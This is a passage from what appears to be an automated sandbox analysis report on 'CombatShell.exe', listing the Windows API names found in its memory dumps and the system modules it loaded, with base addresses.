00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "GetQueuedCompletionStatusEx"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryW"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "GetSystemInfo"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTime"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathA"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathW"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "GetTimeZoneInformation"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "GetUserPreferredUILanguages"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "GetWindowsDirectoryW"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "GlobalAlloc"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "GlobalFree"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "GlobalLock"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "GlobalSize"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "GlobalUnlock"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "HeapCompact"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "HeapCreate"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "HeapDestroy"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "HeapSize"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "HeapValidate"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "InitOnceBeginInitialize"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "InitOnceComplete"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSection"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "InitializeProcThreadAttributeList"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryA"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryW"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "LockFile"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "LockFileEx"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "MapViewOfFile"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "Module32FirstW"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "Module32NextW"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "MoveFileExW"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "OpenProcess"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "OutputDebugStringA"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "OutputDebugStringW"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "PostQueuedCompletionStatus"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "Process32FirstW"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "Process32NextW"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "ReadConsoleW"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "ReadFileEx"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "RegisterWaitForSingleObject"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "RemoveDirectoryW"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleCtrlHandler"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "SetCurrentDirectoryW"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "SetEndOfFile"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "SetEnvironmentVariableW"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "SetFileAttributesW"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "SetFileCompletionNotificationModes"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "SetFileInformationByHandle"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointerEx"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "SetFileTime"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "SetHandleInformation"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "SetThreadStackGuarantee"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "SetWaitableTimer"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "SleepEx"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "SwitchToThread"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "SystemTimeToFileTime"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "SystemTimeToTzSpecificLocalTime"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "TlsAlloc"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "TlsFree"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "TlsGetValue"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "TlsSetValue"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "TryEnterCriticalSection"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "TzSpecificLocalTimeToSystemTime"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "UnlockFile"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "UnlockFileEx"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "UnmapViewOfFile"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "UnregisterWaitEx"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "UpdateProcThreadAttribute"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "WaitForMultipleObjects"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "WriteFileEx"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "NCryptFreeObject"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "NtCreateFile"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "NtDeviceIoControlFile"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "NtOpenFile"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "NtOpenProcessToken"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "NtReadFile"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "NtWriteFile"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "CoCreateGuid"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "AcceptSecurityContext"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "AcquireCredentialsHandleA"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "ApplyControlToken"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "DecryptMessage"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "DeleteSecurityContext"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "EncryptMessage"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "FreeContextBuffer"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "FreeCredentialsHandle"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "InitializeSecurityContextW"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "QueryContextAttributesW"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "ShellExecuteW"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API (Indicator: "CloseClipboard"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "CountClipboardFormats"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "EmptyClipboard"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "GetClipboardData"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "GetDC"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "OpenClipboard"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "ReleaseDC"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "SetClipboardData"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "WSACleanup"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "WSAGetLastError"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "WSAIoctl"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "WSASend"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "WSAStartup"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "closesocket"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "getpeername"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "getsockname"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "getsockopt"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "ioctlsocket"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "recvfrom"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "VirtualProtect"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "VirtualQuery"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "BCryptGenRandom"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleScreenBufferInfo"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleMode"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleTextAttribute"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "SetThreadErrorMode"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "OleInitialize"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "SafeArrayPutElement"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "AssocQueryStringW"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "AdjustWindowRectEx"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "ClientToScreen"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "ClipCursor"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "CreateIcon"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "CreateIconFromResourceEx"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "CreateWindowExW"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "DefWindowProcW"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "DestroyIcon"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "DestroyWindow"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "DispatchMessageW"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "EnableMenuItem"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "GetActiveWindow"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "GetAsyncKeyState"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "GetClientRect"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "GetClipCursor"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "GetCursorPos"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "GetForegroundWindow"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "GetKeyState"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "GetKeyboardLayout"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "GetKeyboardState"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "GetMenu"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "GetRawInputData"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "GetSystemMenu"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "GetSystemMetrics"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "GetWindowPlacement"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "GetWindowRect"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "GetWindowTextLengthW"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "GetWindowTextW"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "IsIconic"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "KillTimer"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "LoadCursorW"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "LoadImageW"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "MessageBoxW"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "PeekMessageW"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "RedrawWindow"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "RegisterRawInputDevices"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "RegisterWindowMessageA"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "ReleaseCapture"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "ScreenToClient"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "SendInput"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "SetCapture"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "SetCursor"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "SetCursorPos"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "SetForegroundWindow"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "SetMenuDefaultItem"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "SetTimer"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "SetWindowPlacement"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "SetWindowPos"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "SetWindowTextW"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "ShowCursor"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "ShowWindow"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "SystemParametersInfoA"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "ToUnicodeEx"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "TrackPopupMenu"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API (Indicator: "TranslateMessage"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp")38:Te7b,"CombatShell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ff86a540000 "CombatShell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ff86a540000 "CombatShell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ff86a540000 "CombatShell.exe" loaded module "KERNEL32" at base 7ff86c070000 "CombatShell.exe" loaded module "USER32.DLL" at base 7ff86c900000 "CombatShell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ff867540000 "CombatShell.exe" loaded module "SHCORE.DLL" at base 7ff86c510000 "CombatShell.exe" loaded module "NTDLL.DLL" at base 7ff86caf0000 "CombatShell.exe" loaded module "UXTHEME.DLL" at base 7ff867540000 "CombatShell.exe" loaded module "RPCRT4.DLL" at base 7ff86c3f0000 "CombatShell.exe" loaded module "%WINDIR%\SYSTEM32\DATAEXCHANGE.DLL" at base 7ff84ec50000 "CombatShell.exe" loaded module "%WINDIR%\SYSTEM32\EXPLORERFRAME.DLL" at base 7ff84e9b0000 "CombatShell.exe" loaded module "OPENGL32.DLL" at base 7ff825c70000 "CombatShell.exe" loaded module "OPENGL32" at base 7ff825c70000 "CombatShell.exe" loaded module "API-MS-WIN-CRT-PRIVATE-L1-1-0.DLL" at base 7ff86a3a0000 "CombatShell.exe" loaded module 